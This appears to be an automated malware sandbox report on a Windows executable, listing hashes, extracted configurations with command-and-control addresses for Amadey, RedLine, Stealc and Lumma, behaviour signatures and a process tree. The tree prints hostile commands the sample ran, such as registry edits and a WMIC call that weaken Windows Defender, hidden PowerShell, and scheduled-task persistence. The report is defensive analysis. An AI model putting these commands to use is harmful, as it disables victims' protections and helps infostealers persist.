Overview

overview

10

Static

static

3

cryptolaemus

windows10-2004-x64

10

cryptolaemus

windows11-21h2-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-09-2024 05:53

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    f11af677e113925d378758eac5a0a3c835c5dd93bac7852f227cb4383aa1940b.exe

  • Size

    1.8MB

  • MD5

    7738f5eba84ffb3f476735093df3731f

  • SHA1

    29afcfc0634c74f8831f2cf61f6d28eeac440fac

  • SHA256

    f11af677e113925d378758eac5a0a3c835c5dd93bac7852f227cb4383aa1940b

  • SHA512

    bfb2c73d6b868ac6613489c1865814ce4ca6eb6799a94f023f3ea287f9886d841cfe82736b47f91a6443739cde2f0700b4012757de11de868c899a44fef0f3be

  • SSDEEP

    49152:eISoDCvlcrxyEfOUN+hgjK1rFONMjcjoW8E9denk:eISECv+Vy2NCOKpWMQoW8C8k

Score
10/10
amadeylummaredlinestealczharkbot1176f2@cloudytteamdefaultdefault2fed3aalivetrafficbotnetcredential_accessdefense_evasiondiscoveryevasionexecutioninfostealerpersistencespywarestealertrojan

Malware Config

Extracted

Family

amadey

Version

4.41

Botnet

fed3aa

C2

http://185.215.113.16

Attributes
  • install_dir

    44111dbc49

  • install_file

    axplong.exe

  • strings_key

    8d0ad6945b1a30a186ec2d30be6db0b5

  • url_paths

    /Jo89Ku7d/index.php

rc4.plain

Extracted

Family

redline

Botnet

LiveTraffic

C2

95.179.250.45:26212

Extracted

Family

redline

Botnet

@CLOUDYTTEAM

C2

65.21.18.51:45580

Extracted

Family

stealc

Botnet

default2

C2

http://185.215.113.17

Attributes
  • url_path

    /2fb6c2cc8dce150a.php

Extracted

Family

stealc

Botnet

default

C2

http://91.202.233.158

Attributes
  • url_path

    /e96ea2db21fa9a1b.php

Extracted

Family

amadey

Version

4.41

Botnet

1176f2

C2

http://185.215.113.19

Attributes
  • install_dir

    417fd29867

  • install_file

    ednfoki.exe

  • strings_key

    183201dc3defc4394182b4bff63c4065

  • url_paths

    /CoreOPT/index.php

rc4.plain

Extracted

Family

lumma

C2

https://millyscroqwp.shop/api

https://locatedblsoqp.shop/api

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Detects ZharkBot payload 1 IoCs

    ZharkBot is a botnet written C++.

  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 3 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • ZharkBot

    ZharkBot is a botnet written C++.

    botnetzharkbot
  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

    credential_accessstealer
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs
    evasion
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file
  • Checks BIOS information in registry 2 TTPs 10 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 10 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 31 IoCs
  • Identifies Wine through registry keys 2 TTPs 4 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Indirect Command Execution 1 TTPs 17 IoCs

    Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

    defense_evasion
  • Loads dropped DLL 5 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 31 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 4 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 12 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\f11af677e113925d378758eac5a0a3c835c5dd93bac7852f227cb4383aa1940b.exe
    "C:\Users\Admin\AppData\Local\Temp\f11af677e113925d378758eac5a0a3c835c5dd93bac7852f227cb4383aa1940b.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks computer location settings
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:2708
    • C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
      "C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Checks computer location settings
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Adds Run key to start application
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4544
      • C:\Users\Admin\AppData\Local\Temp\1000002001\crypted.exe
        "C:\Users\Admin\AppData\Local\Temp\1000002001\crypted.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3396
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
          • Modifies system certificate store
          PID:2596
      • C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe
        "C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1124
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
            PID:1080
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            4⤵
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:1728
            • C:\Users\Admin\AppData\Roaming\FTYowgQzEm.exe
              "C:\Users\Admin\AppData\Roaming\FTYowgQzEm.exe"
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2112
            • C:\Users\Admin\AppData\Roaming\PzQLnFiYRq.exe
              "C:\Users\Admin\AppData\Roaming\PzQLnFiYRq.exe"
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4100
        • C:\Users\Admin\AppData\Local\Temp\1000005001\Nework.exe
          "C:\Users\Admin\AppData\Local\Temp\1000005001\Nework.exe"
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4492
          • C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
            "C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe"
            4⤵
            • Executes dropped EXE
            PID:1040
        • C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default2.exe
          "C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default2.exe"
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:852
        • C:\Users\Admin\AppData\Local\Temp\1000129001\Set-up.exe
          "C:\Users\Admin\AppData\Local\Temp\1000129001\Set-up.exe"
          3⤵
          • Executes dropped EXE
          PID:3792
        • C:\Users\Admin\AppData\Local\Temp\1000191001\1.exe
          "C:\Users\Admin\AppData\Local\Temp\1000191001\1.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:2508
          • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
            C:\Users\Admin\AppData\Local\Temp\svchost015.exe
            4⤵
            • Executes dropped EXE
            PID:4932
        • C:\Users\Admin\AppData\Local\Temp\1000228001\Setup.exe
          "C:\Users\Admin\AppData\Local\Temp\1000228001\Setup.exe"
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Checks processor information in registry
          PID:1712
          • C:\Users\Admin\AppData\Local\Temp\service123.exe
            "C:\Users\Admin\AppData\Local\Temp\service123.exe"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            PID:4452
          • C:\Windows\SysWOW64\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\Admin\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
            4⤵
            • Scheduled Task/Job: Scheduled Task
            PID:264
        • C:\Users\Admin\1000238002\Amadeus.exe
          "C:\Users\Admin\1000238002\Amadeus.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          PID:724
          • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
            "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
            4⤵
              PID:3236
          • C:\Users\Admin\AppData\Local\Temp\1000241001\build.exe
            "C:\Users\Admin\AppData\Local\Temp\1000241001\build.exe"
            3⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3508
          • C:\Users\Admin\AppData\Local\Temp\1000243001\runtime.exe
            "C:\Users\Admin\AppData\Local\Temp\1000243001\runtime.exe"
            3⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Adds Run key to start application
            • Suspicious use of SetThreadContext
            • Suspicious use of AdjustPrivilegeToken
            PID:4272
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
              4⤵
                PID:3412
                • C:\Users\Admin\AppData\Local\Temp\1000262001\385107.exe
                  "C:\Users\Admin\AppData\Local\Temp\1000262001\385107.exe"
                  5⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:2360
                  • C:\Users\Admin\AppData\Local\Temp\7zS870D.tmp\Install.exe
                    .\Install.exe
                    6⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    PID:2872
                    • C:\Users\Admin\AppData\Local\Temp\7zS8AE6.tmp\Install.exe
                      .\Install.exe /Sdidb "385107" /S
                      7⤵
                      • Checks BIOS information in registry
                      • Checks computer location settings
                      • Executes dropped EXE
                      • Enumerates system info in registry
                      PID:4808
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                        8⤵
                          PID:4412
                          • C:\Windows\SysWOW64\forfiles.exe
                            forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                            9⤵
                            • Indirect Command Execution
                            • System Location Discovery: System Language Discovery
                            PID:4712
                            • C:\Windows\SysWOW64\cmd.exe
                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                              10⤵
                                PID:1412
                                • \??\c:\windows\SysWOW64\reg.exe
                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                  11⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:3340
                            • C:\Windows\SysWOW64\forfiles.exe
                              forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                              9⤵
                              • Indirect Command Execution
                              PID:4724
                              • C:\Windows\SysWOW64\cmd.exe
                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                10⤵
                                  PID:3780
                                  • \??\c:\windows\SysWOW64\reg.exe
                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                    11⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:5116
                              • C:\Windows\SysWOW64\forfiles.exe
                                forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                9⤵
                                • Indirect Command Execution
                                PID:4428
                                • C:\Windows\SysWOW64\cmd.exe
                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                  10⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:1352
                                  • \??\c:\windows\SysWOW64\reg.exe
                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                    11⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:1552
                              • C:\Windows\SysWOW64\forfiles.exe
                                forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                9⤵
                                • Indirect Command Execution
                                • System Location Discovery: System Language Discovery
                                PID:3712
                                • C:\Windows\SysWOW64\cmd.exe
                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                  10⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:4564
                                  • \??\c:\windows\SysWOW64\reg.exe
                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                    11⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:3588
                              • C:\Windows\SysWOW64\forfiles.exe
                                forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                9⤵
                                • Indirect Command Execution
                                PID:1624
                                • C:\Windows\SysWOW64\cmd.exe
                                  /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                  10⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:4484
                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                    powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                    11⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:4960
                                    • C:\Windows\SysWOW64\gpupdate.exe
                                      "C:\Windows\system32\gpupdate.exe" /force
                                      12⤵
                                        PID:4952
                              • C:\Windows\SysWOW64\forfiles.exe
                                "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                8⤵
                                • Indirect Command Execution
                                PID:5040
                                • C:\Windows\SysWOW64\cmd.exe
                                  /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                  9⤵
                                    PID:4512
                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                      10⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:3832
                                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                        11⤵
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:632
                                • C:\Windows\SysWOW64\schtasks.exe
                                  schtasks /CREATE /TN "bgtoOlxojiCSJAonCW" /SC once /ST 05:55:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS8AE6.tmp\Install.exe\" Kv /SOsdidF 385107 /S" /V1 /F
                                  8⤵
                                  • Drops file in Windows directory
                                  • Scheduled Task/Job: Scheduled Task
                                  PID:4428
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4808 -s 964
                                  8⤵
                                  • Program crash
                                  PID:2212
                          • C:\Users\Admin\AppData\Local\Temp\1000268001\kitty.exe
                            "C:\Users\Admin\AppData\Local\Temp\1000268001\kitty.exe"
                            5⤵
                            • Executes dropped EXE
                            • System Location Discovery: System Language Discovery
                            PID:2304
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -u -p 2304 -s 488
                              6⤵
                              • Program crash
                              PID:2624
                          • C:\Users\Admin\AppData\Local\Temp\1000279001\ovrflw.exe
                            "C:\Users\Admin\AppData\Local\Temp\1000279001\ovrflw.exe"
                            5⤵
                            • Checks computer location settings
                            • Executes dropped EXE
                            • Adds Run key to start application
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4940
                            • C:\Users\Admin\AppData\Roaming\Microsoft Network Agent\mswabnet.exe
                              "C:\Users\Admin\AppData\Roaming\Microsoft Network Agent\mswabnet.exe"
                              6⤵
                              • Executes dropped EXE
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4208
                          • C:\Users\Admin\AppData\Local\Temp\1000283001\channel3.exe
                            "C:\Users\Admin\AppData\Local\Temp\1000283001\channel3.exe"
                            5⤵
                            • Executes dropped EXE
                            • System Location Discovery: System Language Discovery
                            • Checks processor information in registry
                            PID:3128
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c copy "C:\Users\Admin\AppData\Local\Temp\1000243001\runtime.exe" "C:\Users\Admin\Pictures\Lighter Tech\runtime.exe" && schtasks /Create /SC MINUTE /MO 1 /TN "runtime" /TR "C:\Users\Admin\Pictures\Lighter Tech\runtime.exe" /F
                          4⤵
                            PID:4484
                            • C:\Windows\system32\schtasks.exe
                              schtasks /Create /SC MINUTE /MO 1 /TN "runtime" /TR "C:\Users\Admin\Pictures\Lighter Tech\runtime.exe" /F
                              5⤵
                              • Scheduled Task/Job: Scheduled Task
                              PID:4816
                    • C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
                      C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
                      1⤵
                      • Executes dropped EXE
                      PID:2508
                    • C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
                      C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
                      1⤵
                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                      • Checks BIOS information in registry
                      • Executes dropped EXE
                      • Identifies Wine through registry keys
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      • Suspicious behavior: EnumeratesProcesses
                      PID:5076
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 2304 -ip 2304
                      1⤵
                        PID:4208
                      • C:\Users\Admin\AppData\Local\Temp\7zS8AE6.tmp\Install.exe
                        C:\Users\Admin\AppData\Local\Temp\7zS8AE6.tmp\Install.exe Kv /SOsdidF 385107 /S
                        1⤵
                        • Executes dropped EXE
                        • Drops desktop.ini file(s)
                        • Drops file in System32 directory
                        • System Location Discovery: System Language Discovery
                        • Modifies data under HKEY_USERS
                        PID:1048
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                          2⤵
                            PID:3656
                            • C:\Windows\SysWOW64\forfiles.exe
                              forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                              3⤵
                              • Indirect Command Execution
                              PID:1664
                              • C:\Windows\SysWOW64\cmd.exe
                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                4⤵
                                  PID:1036
                                  • \??\c:\windows\SysWOW64\reg.exe
                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                    5⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:1328
                              • C:\Windows\SysWOW64\forfiles.exe
                                forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                3⤵
                                • Indirect Command Execution
                                PID:2700
                                • C:\Windows\SysWOW64\cmd.exe
                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                  4⤵
                                    PID:3712
                                    • \??\c:\windows\SysWOW64\reg.exe
                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                      5⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:2304
                                • C:\Windows\SysWOW64\forfiles.exe
                                  forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                  3⤵
                                  • Indirect Command Execution
                                  • System Location Discovery: System Language Discovery
                                  PID:3236
                                  • C:\Windows\SysWOW64\cmd.exe
                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                    4⤵
                                      PID:1320
                                      • \??\c:\windows\SysWOW64\reg.exe
                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                        5⤵
                                          PID:2708
                                    • C:\Windows\SysWOW64\forfiles.exe
                                      forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                      3⤵
                                      • Indirect Command Execution
                                      • System Location Discovery: System Language Discovery
                                      PID:1548
                                      • C:\Windows\SysWOW64\cmd.exe
                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                        4⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:2444
                                        • \??\c:\windows\SysWOW64\reg.exe
                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                          5⤵
                                            PID:4916
                                      • C:\Windows\SysWOW64\forfiles.exe
                                        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                        3⤵
                                        • Indirect Command Execution
                                        PID:1076
                                        • C:\Windows\SysWOW64\cmd.exe
                                          /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                          4⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:3692
                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                            powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                            5⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            • Drops file in System32 directory
                                            • Modifies data under HKEY_USERS
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:1848
                                            • C:\Windows\SysWOW64\gpupdate.exe
                                              "C:\Windows\system32\gpupdate.exe" /force
                                              6⤵
                                                PID:1056
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
